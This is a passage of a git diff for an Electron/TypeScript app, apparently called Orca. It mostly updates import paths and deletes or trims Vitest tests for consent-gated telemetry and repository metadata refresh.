b/src/main/startup/profile-startup/dev-education-suppression.ts index 54984a369a3..27edb92e681 100644 --- a/src/main/startup/profile-startup/dev-education-suppression.ts +++ b/src/main/startup/profile-startup/dev-education-suppression.ts @@ -6,7 +6,7 @@ import { CONTEXTUAL_TOUR_IDS } from '../../../shared/feature-education/contextua import { FEATURE_INTERACTION_IDS } from '../../../shared/feature-education/interactions/feature-interaction-catalog' import type { FeatureInteractionState } from '../../../shared/feature-education/interactions/feature-interactions' import { FEATURE_TIP_SEEN_IDS } from '../../../shared/feature-education/feature-tips' -import type { PersistedUIState } from '../../../shared/persisted-ui-state-types' +import type { PersistedUIState } from '../../../shared/orca-profiles/persisted-ui-state-types' import type { Store } from '../../persistence/loading-store/store' export const DEV_SHOW_FIRST_RUN_EDUCATION_ENV = 'ORCA_DEV_SHOW_FIRST_RUN_EDUCATION' diff --git a/src/main/startup/pty-startup/main-process-pty-startup.ts b/src/main/startup/pty-startup/main-process-pty-startup.ts index 7027f4d3244..eaf38070cb8 100644 --- a/src/main/startup/pty-startup/main-process-pty-startup.ts +++ b/src/main/startup/pty-startup/main-process-pty-startup.ts @@ -1,7 +1,7 @@ import { recordCodexMigrationPtySpawn } from '../../codex/history/backfill/desktop-codex-session-migration' import { app } from 'electron' import { parseWorkspaceKey } from '../../../shared/workspace/identity/workspace-scope' -import { isLocalExecutionHost } from '../../../shared/execution-host' +import { isLocalExecutionHost } from '../../../shared/execution-host/execution-host' import { classifyError } from '../../telemetry/classify-error' import { track } from '../../telemetry/client' import { getPtyIdForPaneKey } from '../../ipc/pty/pane/key-state' diff --git a/src/main/startup/runtime-startup/main-process-runtime-service.ts b/src/main/startup/runtime-startup/main-process-runtime-service.ts index fb00e5d7604..02816e3393c 100644 --- a/src/main/startup/runtime-startup/main-process-runtime-service.ts +++ b/src/main/startup/runtime-startup/main-process-runtime-service.ts @@ -9,7 +9,7 @@ import { applySessionSearchSettingsChange, installChildSessionSearchService } from '../../ai-vault-search/session-search-enablement' -import { LOCAL_EXECUTION_HOST_ID } from '../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../shared/execution-host/execution-host' import { sessionSearchScopeCatalogFromStore } from '../../ai-vault-search/scope/session-search-store-scope-catalog' import { getCanonicalUserDataPath } from '../../persistence/loading-store/user-data-path' import { app } from 'electron' diff --git a/src/main/telemetry/client-deferred-start.test.ts b/src/main/telemetry/client-deferred-start.test.ts deleted file mode 100644 index 4d05c2b085e..00000000000 --- a/src/main/telemetry/client-deferred-start.test.ts +++ /dev/null @@ -1,94 +0,0 @@ -import 'node:crypto' -import type * as crypto from 'node:crypto' -import { afterAll, afterEach, beforeEach, describe, expect, it, vi } from 'vitest' -import type { GlobalSettings } from '../../shared/global-settings-types' -import type { Store } from '../persistence/loading-store/store' -import type * as PostHogTransport from './posthog-transport' -import { - BASE_COMMON, - makeFakeSettings, - makeFakeStore, - makeMockPostHog, - type MockPostHog, - restoreConsentEnv, - stashAndClearConsentEnv -} from './client-test-harness' - -const { createPostHogClient } = vi.hoisted(() => { - // Official-build identity is read at import; set it before client.ts loads. - Object.assign(globalThis, { ORCA_BUILD_IDENTITY: 'stable', ORCA_POSTHOG_WRITE_KEY: 'test-key' }) - return { createPostHogClient: vi.fn() } -}) -vi.mock('node:crypto', async (importOriginal) => ({ - ...(await importOriginal()), - randomInt: vi.fn(() => 0) -})) -vi.mock('./posthog-transport', async (importOriginal) => ({ - ...(await importOriginal()), - createPostHogClient -})) -const { initTelemetry, shutdownTelemetry, track } = await import('./client') -const scheduleClientStart = vi.fn<(start: () => void) => void>() - -afterAll(() => { - Reflect.deleteProperty(globalThis, 'ORCA_BUILD_IDENTITY') - Reflect.deleteProperty(globalThis, 'ORCA_POSTHOG_WRITE_KEY') -}) - -describe('deferred PostHog client start', () => { - let envStash: Record - let settings: GlobalSettings - let store: Store - let sdk: MockPostHog & { flush: ReturnType } - - beforeEach(() => { - vi.useFakeTimers({ now: new Date('2026-10-29T00:00:00Z') }) - envStash = stashAndClearConsentEnv() - vi.spyOn(console, 'warn').mockImplementation(() => {}) - sdk = { ...makeMockPostHog(), flush: vi.fn(async () => {}) } - createPostHogClient.mockImplementation(() => sdk) - settings = makeFakeSettings({ - optedIn: true, - installId: BASE_COMMON.install_id, - existedBeforeTelemetryRelease: false - }) - store = makeFakeStore(settings) - initTelemetry(store, scheduleClientStart) - }) - - afterEach(async () => { - await shutdownTelemetry() - vi.useRealTimers() - vi.unstubAllGlobals() - vi.restoreAllMocks() - createPostHogClient.mockReset() - scheduleClientStart.mockReset() - restoreConsentEnv(envStash) - }) - - it('holds startup events, then replays them in order with their original timestamps', () => { - expect(track('app_opened', {})).toBe(true) - vi.advanceTimersByTime(1_000) - expect(track('telemetry_opted_in', { via: 'settings' })).toBe(true) - expect(createPostHogClient).not.toHaveBeenCalled() - - const [[startClient]] = scheduleClientStart.mock.calls - startClient() - - expect(createPostHogClient).toHaveBeenCalledTimes(1) - const captured = sdk.capture.mock.calls.map(([message]) => message) - expect(captured.map((message) => [message.event, message.timestamp])).toEqual([ - ['app_opened', new Date('2026-10-29T00:00:00Z')], - ['telemetry_opted_in', new Date('2026-10-29T00:00:01Z')] - ]) - }) - - it('drops held events when consent is withdrawn before the client starts', () => { - track('app_opened', {}) - settings.telemetry!.optedIn = false - - scheduleClientStart.mock.calls[0][0]() - - expect(sdk.capture).not.toHaveBeenCalled() - }) -}) diff --git a/src/main/telemetry/client-protected-milestones.test.ts b/src/main/telemetry/client-protected-milestones.test.ts deleted file mode 100644 index 157c170a9e8..00000000000 --- a/src/main/telemetry/client-protected-milestones.test.ts +++ /dev/null @@ -1,258 +0,0 @@ -import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' -import type { GlobalSettings } from '../../shared/global-settings-types' -import type { EventProps } from '../../shared/telemetry/telemetry-event-classification' -import { _enableTransportForTests, track } from './client' -import { - BASE_COMMON, - cleanupTelemetryClientTest, - setupTelemetryClientTest, - type TelemetryClientTestState -} from './client-test-harness' -import { recordMobileChatSend, recordMobileViewOpened } from './mobile-client-telemetry' -import { observeTerminalUserInput } from './protected-milestones' - -const hookPrompt: EventProps<'agent_prompt_sent'> = { - agent_kind: 'claude-code', - launch_source: 'unknown', - request_kind: 'followup' -} -const sidebarSend: EventProps<'agent_prompt_sent'> = { ...hookPrompt, launch_source: 'sidebar' } -const sidebarLaunch: EventProps<'agent_started'> = { - agent_kind: 'codex', - launch_source: 'sidebar', - request_kind: 'new' -} - -function telemetry( - protectedMilestones: NonNullable['protectedMilestones'] = { - installCohort: 'fresh' - } -): GlobalSettings['telemetry'] { - return { - optedIn: true, - installId: BASE_COMMON.install_id, - existedBeforeTelemetryRelease: false, - protectedMilestones - } -} - -describe('protected telemetry milestones', () => { - let state: TelemetryClientTestState - - type Message = { event: string; properties: Record } - let earlier: Message[] = [] - // Thrown captures were never accepted by the SDK queue. - const accepted = (): Message[] => [ - ...earlier, - ...state.mock.capture.mock.calls - .filter((_, index) => state.mock.capture.mock.results[index]?.type !== 'throw') - .map(([message]): Message => message) - ] - const captured = (event: string) => accepted().filter((message) => message.event === event) - const milestones = () => - accepted() - .map((message) => message.event) - .filter((event) => event === 'first_agent_interaction' || event === 'meaningful_activity_day') - const restart = () => { - const saved = state.settings.telemetry - earlier = accepted() - cleanupTelemetryClientTest(state.envStash) - state = setupTelemetryClientTest(saved) - } - - beforeEach(() => { - vi.useFakeTimers() - vi.setSystemTime(new Date('2026-11-08T23:58:00Z')) - earlier = [] - state = setupTelemetryClientTest(telemetry()) - }) - - afterEach(() => { - cleanupTelemetryClientTest(state.envStash) - vi.useRealTimers() - }) - - it('emits the first observed interaction once, across restarts, with unsampled props', () => { - vi.spyOn(Math, 'random').mockReturnValue(0) - track('agent_prompt_sent', sidebarSend) - track('agent_prompt_sent', sidebarSend) - restart() - track('agent_prompt_sent', sidebarSend) - - const first = captured('first_agent_interaction') - expect(first).toHaveLength(1) - expect(first[0].properties).toEqual({ - ...BASE_COMMON, - source: 'orca_send', - agent_kind: 'claude-code', - install_cohort: 'fresh', - $process_person_profile: false - }) - expect(state.settings.telemetry?.protectedMilestones).toEqual({ - installCohort: 'fresh', - firstAgentInteractionDay: 20_765, - meaningfulActivityDay: 20_765 - }) - }) - - it('records one meaningful day per UTC day across midnight and restart', () => { - track('agent_started', sidebarLaunch) - track('workspace_created', { source: 'sidebar', from_existing_branch: false }) - vi.setSystemTime(new Date('2026-11-09T00:01:00Z')) - restart() - track('workspace_created', { source: 'sidebar', from_existing_branch: false }) - restart() - track('agent_started', sidebarLaunch) - - expect(captured('meaningful_activity_day').map((m) => m.properties.trigger)).toEqual([ - 'agent_started', - 'workspace_created' - ]) - expect(state.settings.telemetry?.protectedMilestones?.meaningfulActivityDay).toBe(20_766) - }) - - it('keeps milestones when the source prompt is sampled out', () => { - vi.spyOn(Math, 'random').mockReturnValue(0.99) - expect(track('agent_prompt_sent', sidebarSend)).toBe(false) - - expect(captured('agent_prompt_sent')).toHaveLength(0) - expect(milestones()).toEqual(['first_agent_interaction', 'meaningful_activity_day']) - expect(captured('meaningful_activity_day')[0].properties).not.toHaveProperty('sample_rate') - }) - - it('is not starved once noisy events exhaust the session budget', () => { - for (let index = 0; index < 1_000; index++) { - vi.advanceTimersByTime(3_000) - track('agent_error', { agent_kind: 'codex', error_class: 'unknown' }) - } - expect(track('agent_error', { agent_kind: 'codex', error_class: 'unknown' })).toBe(false) - - vi.spyOn(Math, 'random').mockReturnValue(0) - expect(track('agent_prompt_sent', sidebarSend)).toBe(false) - expect(milestones()).toEqual(['first_agent_interaction', 'meaningful_activity_day']) - }) - - it('retries a milestone whose capture was not accepted', () => { - state.mock.capture.mockImplementationOnce(() => { - throw new Error('queue rejected') - }) - track('native_chat_prompt_submitted', { - agent_kind: 'codex', - runtime: 'local', - client: 'desktop' - }) - expect(state.settings.telemetry?.protectedMilestones?.firstAgentInteractionDay).toBeUndefined() - - track('native_chat_prompt_submitted', { - agent_kind: 'codex', - runtime: 'local', - client: 'desktop' - }) - expect(milestones()).toEqual(['meaningful_activity_day', 'first_agent_interaction']) - expect(state.settings.telemetry?.protectedMilestones?.firstAgentInteractionDay).toBe(20_765) - }) - - it('does not consume milestones while consent or the build gate blocks transmission', () => { - state.settings.telemetry!.optedIn = false - track('agent_started', sidebarLaunch) - state.settings.telemetry!.optedIn = true - _enableTransportForTests(false) - track('agent_started', sidebarLaunch) - _enableTransportForTests(true) - expect(milestones()).toEqual([]) - expect(state.settings.telemetry?.protectedMilestones).toEqual({ installCohort: 'fresh' }) - - track('agent_started', sidebarLaunch) - expect(milestones()).toEqual(['meaningful_activity_day']) - }) - - it('ignores invalid source payloads and renderer-unreachable raw fields', () => { - const rawPrompt = { ...sidebarSend, prompt: 'private text' } - track('agent_prompt_sent', rawPrompt) - const rawMilestone = { - source: 'orca_send', - agent_kind: 'codex', - install_cohort: 'fresh', - prompt: 'private text' - } as const - expect(track('first_agent_interaction', rawMilestone)).toBe(false) - const forged = { trigger: 'app_opened', install_cohort: 'fresh' } - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: deliberately forges an out-of-enum trigger to prove runtime schema rejection. - const launchOnly = forged as EventProps<'meaningful_activity_day'> - expect(track('meaningful_activity_day', launchOnly)).toBe(false) - expect(milestones()).toEqual([]) - expect(state.settings.telemetry?.protectedMilestones).toEqual({ installCohort: 'fresh' }) - }) - - it('does not mark activity from passive, automated or unattributed observations', () => { - track('app_opened', {}) - track('agent_started', { ...sidebarLaunch, request_kind: 'resume' }) - track('agent_started', { ...sidebarLaunch, launch_source: 'orchestration' }) - track('agent_started', { ...sidebarLaunch, launch_source: 'cli' }) - track('workspace_created', { source: 'unknown', from_existing_branch: false }) - recordMobileChatSend('mobile', 'claude', { ok: true, replayed: true }) - recordMobileChatSend('runtime', 'claude', { ok: true, replayed: false }) - recordMobileViewOpened( - { clientKind: 'mobile' }, - { - surface: 'chat', - viewKey: 'chat:1', - agent: () => 'claude' - } - ) - expect(milestones()).toEqual([]) - - for (const launch_source of ['orchestration', 'cli', 'unknown'] as const) { - track('agent_prompt_sent', { ...hookPrompt, launch_source }) - } - expect(milestones()).toEqual(['first_agent_interaction']) - expect(captured('first_agent_interaction')[0].properties.source).toBe('unattributed_prompt') - }) - - it('keeps commands and unacknowledged PTY sends from consuming chat milestones', () => { - track('native_chat_message_sent', { agent_kind: 'codex', runtime: 'local', client: 'desktop' }) - recordMobileChatSend('mobile', 'claude', { ok: true, replayed: false }) - expect(milestones()).toEqual([]) - expect(state.settings.telemetry?.protectedMilestones).toEqual({ installCohort: 'fresh' }) - - track('native_chat_prompt_submitted', { - agent_kind: 'codex', - runtime: 'remote', - client: 'desktop' - }) - expect(captured('first_agent_interaction')[0].properties).toMatchObject({ - source: 'native_chat', - agent_kind: 'codex' - }) - expect(captured('meaningful_activity_day')[0].properties.trigger).toBe('native_chat') - }) - - it('marks terminal activity once per day across restart and UTC rollover', () => { - observeTerminalUserInput() - restart() - observeTerminalUserInput() - expect(milestones()).toEqual(['meaningful_activity_day']) - - vi.setSystemTime(new Date('2026-11-09T00:01:00Z')) - observeTerminalUserInput() - expect( - captured('meaningful_activity_day').map((message) => message.properties.trigger) - ).toEqual(['terminal_input', 'terminal_input']) - expect(state.settings.telemetry?.protectedMilestones?.meaningfulActivityDay).toBe(20_766) - }) - - it('rate-limits blocked terminal checks within the day and retries immediately after UTC midnight', () => { - vi.setSystemTime(new Date('2026-11-08T23:59:59Z')) - state.settings.telemetry!.optedIn = false - observeTerminalUserInput() - state.settings.telemetry!.optedIn = true - observeTerminalUserInput() - expect(milestones()).toEqual([]) - expect(state.settings.telemetry?.protectedMilestones?.meaningfulActivityDay).toBeUndefined() - - vi.setSystemTime(new Date('2026-11-09T00:00:01Z')) - observeTerminalUserInput() - expect(milestones()).toEqual(['meaningful_activity_day']) - expect(state.settings.telemetry?.protectedMilestones?.meaningfulActivityDay).toBe(20_766) - }) -}) diff --git a/src/main/telemetry/client-test-harness.ts b/src/main/telemetry/client-test-harness.ts index 7537ecc9a0a..c6ab4de6376 100644 --- a/src/main/telemetry/client-test-harness.ts +++ b/src/main/telemetry/client-test-harness.ts @@ -1,7 +1,7 @@ import type { PostHog } from 'posthog-node' import { vi } from 'vitest' import type { CommonProps } from '../../shared/telemetry/telemetry-event-classification' -import type { GlobalSettings } from '../../shared/global-settings-types' +import type { GlobalSettings } from '../../shared/settings/global-settings-types' import type { Store } from '../persistence/loading-store/store' import { _enableTransportForTests, diff --git a/src/main/telemetry/consent.test.ts b/src/main/telemetry/consent.test.ts index 70dd0af473e..4c964e3a77e 100644 --- a/src/main/telemetry/consent.test.ts +++ b/src/main/telemetry/consent.test.ts @@ -1,5 +1,5 @@ import { describe, it, expect, beforeEach, afterEach } from 'vitest' -import type { GlobalSettings } from '../../shared/global-settings-types' +import type { GlobalSettings } from '../../shared/settings/global-settings-types' import { resolveConsent, _resetMisconfigWarnCacheForTests } from './consent' // The resolver reads telemetry only; keep the unrelated settings surface out of this fixture. diff --git a/src/main/telemetry/consent.ts b/src/main/telemetry/consent.ts index 56f2d28154f..dee5c63679c 100644 --- a/src/main/telemetry/consent.ts +++ b/src/main/telemetry/consent.ts @@ -1,6 +1,6 @@ // Centralize runtime consent precedence. Environment/CI overrides never mutate persisted preference, so removing them restores user intent. -import type { GlobalSettings } from '../../shared/global-settings-types' +import type { GlobalSettings } from '../../shared/settings/global-settings-types' import type { TelemetryConsentState } from '../../shared/telemetry/telemetry-consent-types' // Retain pending-banner vs explicit-disabled reasons for UI; shared types cross IPC while this re-export preserves main callers. diff --git a/src/main/telemetry/protected-milestones.ts b/src/main/telemetry/protected-milestones.ts index 1db38b47ae4..54e2c9ab0af 100644 --- a/src/main/telemetry/protected-milestones.ts +++ b/src/main/telemetry/protected-milestones.ts @@ -2,7 +2,7 @@ // Not exactly-once: cursors advance at SDK enqueue/hold acceptance (a quit before flush loses the event) and persist via the // debounced settings save (a crash before that save can re-emit after restart), so dashboards dedupe per install_id. -import type { GlobalSettings } from '../../shared/global-settings-types' +import type { GlobalSettings } from '../../shared/settings/global-settings-types' import { utcDayIndex } from '../../shared/telemetry/telemetry-day' import { eventSchemas } from '../../shared/telemetry/telemetry-event-registry' import type { EventName, EventProps } from '../../shared/telemetry/telemetry-event-classification' diff --git a/src/main/telemetry/wsl-usage-reporter.ts b/src/main/telemetry/wsl-usage-reporter.ts index e9b57f45e5a..c1c79cfe234 100644 --- a/src/main/telemetry/wsl-usage-reporter.ts +++ b/src/main/telemetry/wsl-usage-reporter.ts @@ -2,8 +2,11 @@ import { readFile, writeFile } from 'node:fs/promises' import { join } from 'node:path' import type { Store } from '../persistence/loading-store/store' -import type { GlobalSettings } from '../../shared/global-settings-types' -import { getRepoExecutionHostId, parseExecutionHostId } from '../../shared/execution-host' +import type { GlobalSettings } from '../../shared/settings/global-settings-types' +import { + getRepoExecutionHostId, + parseExecutionHostId +} from '../../shared/execution-host/execution-host' import { listEnvironments } from '../../shared/remote-runtime/host-store/runtime-environment-store' import { isWslHostRuntimeEnvironment } from '../../shared/remote-runtime/host-catalog/runtime-environments' import { resolveLocalWorkspaceRuntime } from '../workspaces/execution-host/local-project-runtime-resolution' diff --git a/src/main/terminal-config-import/preview.ts b/src/main/terminal-config-import/preview.ts index 1d95e47d01c..5ac3823994d 100644 --- a/src/main/terminal-config-import/preview.ts +++ b/src/main/terminal-config-import/preview.ts @@ -1,6 +1,6 @@ import path from 'node:path' import type { WebContents } from 'electron' -import type { GlobalSettings } from '../../shared/global-settings-types' +import type { GlobalSettings } from '../../shared/settings/global-settings-types' import type { TerminalConfigImportPreview } from '../../shared/terminal/appearance/terminal-config-import-preview' import type { Store } from '../persistence/loading-store/store' import { validateImportSource } from '../configuration-import/import-source-validation' diff --git a/src/main/terminal-config-import/settings-changes.ts b/src/main/terminal-config-import/settings-changes.ts index 67036d12d53..640c856f56c 100644 --- a/src/main/terminal-config-import/settings-changes.ts +++ b/src/main/terminal-config-import/settings-changes.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../shared/global-settings-types' +import type { GlobalSettings } from '../../shared/settings/global-settings-types' // Compare nested values structurally with sorted keys while preserving meaningful array order. function stableStringify(v: unknown): string { diff --git a/src/main/usage/worktree-attribution/usage-worktree-metadata.ts b/src/main/usage/worktree-attribution/usage-worktree-metadata.ts index af04ee9476a..d597d4a7779 100644 --- a/src/main/usage/worktree-attribution/usage-worktree-metadata.ts +++ b/src/main/usage/worktree-attribution/usage-worktree-metadata.ts @@ -7,7 +7,7 @@ import { } from '../../../shared/worktree/id' import { isFolderRepo } from '../../../shared/repository/repo-kind' import type { WorktreeMeta } from '../../../shared/worktree/meta-types' -import { getRepoRoutingConnectionId } from '../../../shared/execution-host' +import { getRepoRoutingConnectionId } from '../../../shared/execution-host/execution-host' import { canonicalWorktreePath } from '../../git/worktrees/catalog/worktree-path-comparison' export type UsageWorktreeRef = { diff --git a/src/main/window/security/main-window-webview-security.ts b/src/main/window/security/main-window-webview-security.ts index 827d9f827cf..5069108c772 100644 --- a/src/main/window/security/main-window-webview-security.ts +++ b/src/main/window/security/main-window-webview-security.ts @@ -19,7 +19,7 @@ import { browserRouteSessionRegistry, browserRouteWebContentsRegistry } from '../../browser/routing/sessions/browser-route-session-runtime' -import '../../../shared/constants' +import '../../../shared/orca-profiles/constants' import { ORCA_BROWSER_BLANK_URL } from '../../../shared/browser/browser-blank-page' import { DOC_PREVIEW_PARTITION, diff --git a/src/main/windows/windows-path-access-host.ts b/src/main/windows/windows-path-access-host.ts index 1868bc31f2f..dc0083acc7c 100644 --- a/src/main/windows/windows-path-access-host.ts +++ b/src/main/windows/windows-path-access-host.ts @@ -1,4 +1,4 @@ -import { parseRoutableExecutionHostId } from '../../shared/execution-host' +import { parseRoutableExecutionHostId } from '../../shared/execution-host/execution-host' import { windowsPathAccess, type WindowsPathAccess diff --git a/src/main/workspace-hooks/effective-hook-config.ts b/src/main/workspace-hooks/effective-hook-config.ts index a53a2ffe55b..a4e3ddaa3e1 100644 --- a/src/main/workspace-hooks/effective-hook-config.ts +++ b/src/main/workspace-hooks/effective-hook-config.ts @@ -1,4 +1,4 @@ -import { getDefaultRepoHookSettings } from '../../shared/constants' +import { getDefaultRepoHookSettings } from '../../shared/orca-profiles/constants' import { resolveHookCommandSourcePolicy } from '../../shared/workspace-setup/hooks/hook-command-source-policy' import type { HookCommandSourcePolicy, diff --git a/src/main/workspaces/catalog/folder-repo-git-conversion.ts b/src/main/workspaces/catalog/folder-repo-git-conversion.ts index 24075b67ce6..255319f1074 100644 --- a/src/main/workspaces/catalog/folder-repo-git-conversion.ts +++ b/src/main/workspaces/catalog/folder-repo-git-conversion.ts @@ -8,7 +8,7 @@ import { getRepoExecutionHostId, LOCAL_EXECUTION_HOST_ID, parseExecutionHostId -} from '../../../shared/execution-host' +} from '../../../shared/execution-host/execution-host' import type { Store } from '../../persistence/loading-store/store' import { isFolderRepo } from '../../../shared/repository/repo-kind' import { normalizeRuntimePathForComparison } from '../../../shared/file-access/cross-platform-path' diff --git a/src/main/workspaces/catalog/folder-upgrade-worktree-path.ts b/src/main/workspaces/catalog/folder-upgrade-worktree-path.ts index 83a6daf6a5d..e8509e71fcd 100644 --- a/src/main/workspaces/catalog/folder-upgrade-worktree-path.ts +++ b/src/main/workspaces/catalog/folder-upgrade-worktree-path.ts @@ -1,7 +1,10 @@ import { realpathSync } from 'node:fs' import type { Repo } from '../../../shared/repository/repo-types' import type { GitWorktreeInfo } from '../../../shared/worktree/types' -import { getRepoExecutionHostId, LOCAL_EXECUTION_HOST_ID } from '../../../shared/execution-host' +import { + getRepoExecutionHostId, + LOCAL_EXECUTION_HOST_ID +} from '../../../shared/execution-host/execution-host' import { areWorktreePathsEqual, dedupeWorktreesByPath diff --git a/src/main/workspaces/catalog/folder-workspace-meta-presence.ts b/src/main/workspaces/catalog/folder-workspace-meta-presence.ts index 07bf898d0f1..3c44d3317a0 100644 --- a/src/main/workspaces/catalog/folder-workspace-meta-presence.ts +++ b/src/main/workspaces/catalog/folder-workspace-meta-presence.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../shared/execution-host' +import type { ExecutionHostId } from '../../../shared/execution-host/execution-host' import { isFolderRepo } from '../../../shared/repository/repo-kind' import type { Repo } from '../../../shared/repository/repo-types' import type { WorktreeMeta } from '../../../shared/worktree/meta-types' diff --git a/src/main/workspaces/catalog/imported-folder-project-link.ts b/src/main/workspaces/catalog/imported-folder-project-link.ts index dbfa3114ae9..cbb01d12e41 100644 --- a/src/main/workspaces/catalog/imported-folder-project-link.ts +++ b/src/main/workspaces/catalog/imported-folder-project-link.ts @@ -1,4 +1,4 @@ -import { getRepoExecutionHostId } from '../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../shared/execution-host/execution-host' import { assertImportedFolderRemoteMatchesProject, resolveImportedFolderProjectLink diff --git a/src/main/workspaces/catalog/local-project-record.ts b/src/main/workspaces/catalog/local-project-record.ts index c533f138647..d10a290fc2f 100644 --- a/src/main/workspaces/catalog/local-project-record.ts +++ b/src/main/workspaces/catalog/local-project-record.ts @@ -1,5 +1,5 @@ import { randomUUID } from 'node:crypto' -import { DEFAULT_REPO_BADGE_COLOR } from '../../../shared/constants' +import { DEFAULT_REPO_BADGE_COLOR } from '../../../shared/repository/appearance/repo-badge-color' import type { Repo, RepoKind } from '../../../shared/repository/repo-types' export function createLocalProjectRecord(input: { diff --git a/src/main/workspaces/catalog/provisioned-root-checkout.ts b/src/main/workspaces/catalog/provisioned-root-checkout.ts index 37594d6a688..d59ade4f9aa 100644 --- a/src/main/workspaces/catalog/provisioned-root-checkout.ts +++ b/src/main/workspaces/catalog/provisioned-root-checkout.ts @@ -2,7 +2,7 @@ import { randomUUID } from 'node:crypto' import type { Store } from '../../persistence/loading-store/store' import type { Repo } from '../../../shared/repository/repo-types' import type { CreateWorktreeArgs } from '../../../shared/worktree/create-types' -import type { ExecutionHostId } from '../../../shared/execution-host' +import type { ExecutionHostId } from '../../../shared/execution-host/execution-host' import type { CrossStoreInferredSource, CrossStoreParentRef diff --git a/src/main/workspaces/catalog/provisioned-root-ssh-adoption.ts b/src/main/workspaces/catalog/provisioned-root-ssh-adoption.ts index cf808e89751..27c3e3af9d2 100644 --- a/src/main/workspaces/catalog/provisioned-root-ssh-adoption.ts +++ b/src/main/workspaces/catalog/provisioned-root-ssh-adoption.ts @@ -5,7 +5,10 @@ import type { CreateWorktreeResult } from '../../../shared/worktree/create-types' import type { AutomationWorkspaceProvenance } from '../../../shared/worktree/types' -import { isRuntimeOwnedSshTargetId, toSshExecutionHostId } from '../../../shared/execution-host' +import { + isRuntimeOwnedSshTargetId, + toSshExecutionHostId +} from '../../../shared/execution-host/execution-host' import { getEphemeralVmRecipeResultCheckoutMode, getEphemeralVmRecipeResultProjectRoot diff --git a/src/main/workspaces/catalog/repo-backfill-wsl-move.test.ts b/src/main/workspaces/catalog/repo-backfill-wsl-move.test.ts index c457032f913..63d8f16e885 100644 --- a/src/main/workspaces/catalog/repo-backfill-wsl-move.test.ts +++ b/src/main/workspaces/catalog/repo-backfill-wsl-move.test.ts @@ -2,7 +2,7 @@ import { mkdtempSync, rmSync } from 'node:fs' import { tmpdir } from 'node:os' import { join } from 'node:path' import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' -import { getRepoExecutionHostId } from '../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../shared/execution-host/execution-host' import type { Repo } from '../../../shared/repository/repo-types' import type { RepoHostTarget } from '../../../shared/repository/repo-host-identity' import { closeTestStores, createStore, testState } from '../../persistence/persistence-test-harness' diff --git a/src/main/workspaces/catalog/repo-git-remote-avatar-refresh.test.ts b/src/main/workspaces/catalog/repo-git-remote-avatar-refresh.test.ts index d2884597821..de8a4c4f045 100644 --- a/src/main/workspaces/catalog/repo-git-remote-avatar-refresh.test.ts +++ b/src/main/workspaces/catalog/repo-git-remote-avatar-refresh.test.ts @@ -1,11 +1,14 @@ import { afterEach, expect, it, vi } from 'vitest' -import { getRepoExecutionHostId, type ExecutionHostId } from '../../../shared/execution-host' +import { + getRepoExecutionHostId, + type ExecutionHostId +} from '../../../shared/execution-host/execution-host' import { deriveGitRemoteIdentity } from '../../../shared/git/remotes/git-remote-identity' import '../../../shared/project/host-setup/project-host-setup-projection' -import { githubAvatarIcon, type RepoIcon } from '../../../shared/repository/appearance/repo-icon' +import { githubAvatarIcon } from '../../../shared/repository/appearance/repo-icon' import type { Repo } from '../../../shared/repository/repo-types' import type { RepoHostTarget } from '../../../shared/repository/repo-host-identity' -import { repoTarget } from '../../persistence/repo-host-target-matcher.test-fixture' +import '../../persistence/repo-host-target-matcher.test-fixture' import { probeGitRemoteIdentity, type GitRemoteIdentityProbe } from './repo-git-remote-identity' import { enrichMissingRepoGitRemoteIdentities, @@ -52,78 +55,13 @@ function storeFor(repos: Repo[]) { return { getRepos: () => repos, getRepo, updateRepo } } -async function sweep(store: ReturnType, onChanged = vi.fn()) { - enrichMissingRepoGitRemoteIdentities(store, { onChanged }) - for (let i = 0; i < 8; i++) { - await flushRepoGitRemoteIdentityEnrichmentForTests() - } -} - -async function refresh(store: ReturnType, onChanged = vi.fn()) { - vi.useFakeTimers() - vi.setSystemTime(1_000) - await sweep(store, onChanged) - expect(probeGitRemoteIdentity).not.toHaveBeenCalled() - vi.setSystemTime(301_001) - await sweep(store, onChanged) -} - afterEach(() => { resetRepoGitRemoteIdentityEnrichmentForTests() vi.useRealTimers() vi.clearAllMocks() }) -it('keeps local metadata writes scoped when a same-id ssh:build row comes first', async () => { - const foreignIdentity = identity('https://github.com/foreign/app.git') - const foreignIcon = githubAvatarIcon({ owner: 'foreign', repo: 'app' }) - const foreign = repo({ - executionHostId: 'ssh:build', - gitRemoteIdentity: foreignIdentity, - repoIcon: foreignIcon - }) - const local = repo({ gitRemoteIdentity: identity('https://github.com/old-local/app.git') }) - const store = storeFor([foreign, local]) - vi.mocked(probeGitRemoteIdentity).mockImplementation(async (_path, probeHostId) => ({ - status: 'resolved', - identity: probeHostId === 'local' ? identity() : foreignIdentity - })) - await refresh(store) - expect(foreign.gitRemoteIdentity).toBe(foreignIdentity) - expect(foreign.repoIcon).toBe(foreignIcon) - expect(local.gitRemoteIdentity).toEqual(identity()) - expect(local.repoIcon).toEqual(githubAvatarIcon({ owner: 'org-b', repo: 'app' })) - expect(store.updateRepo).toHaveBeenCalledExactlyOnceWith(repoTarget('app', 'local'), { - gitRemoteIdentity: identity(), - repoIcon: local.repoIcon - }) -}) - // A runtime stamp addresses files here, but store writes must still use that stamp. -it('repairs a same-id runtime-addressed row under its own stamp', async () => { - const runtimeRow = repo({ - executionHostId: 'runtime:env-a', - gitRemoteIdentity: identity('https://github.com/old-runtime/app.git'), - repoIcon: githubAvatarIcon({ owner: 'old-runtime', repo: 'app' }) - }) - const local = repo({ gitRemoteIdentity: identity('https://github.com/old-local/app.git') }) - const store = storeFor([runtimeRow, local]) - vi.mocked(probeGitRemoteIdentity).mockResolvedValue({ status: 'resolved', identity: identity() }) - await refresh(store) - expect(probeGitRemoteIdentity).toHaveBeenCalledWith( - '/workspace/app', - 'local', - expect.objectContaining({ signal: expect.any(AbortSignal) }) - ) - const repaired = { - gitRemoteIdentity: identity(), - repoIcon: githubAvatarIcon({ owner: 'org-b', repo: 'app' }) - } - expect(runtimeRow).toMatchObject(repaired) - expect(local).toMatchObject(repaired) - expect(store.updateRepo).toHaveBeenCalledWith(repoTarget('app', 'runtime:env-a'), repaired) - expect(store.updateRepo).toHaveBeenCalledWith(repoTarget('app', 'local'), repaired) -}) it('does not write after a pending local probe becomes peer-owned', async 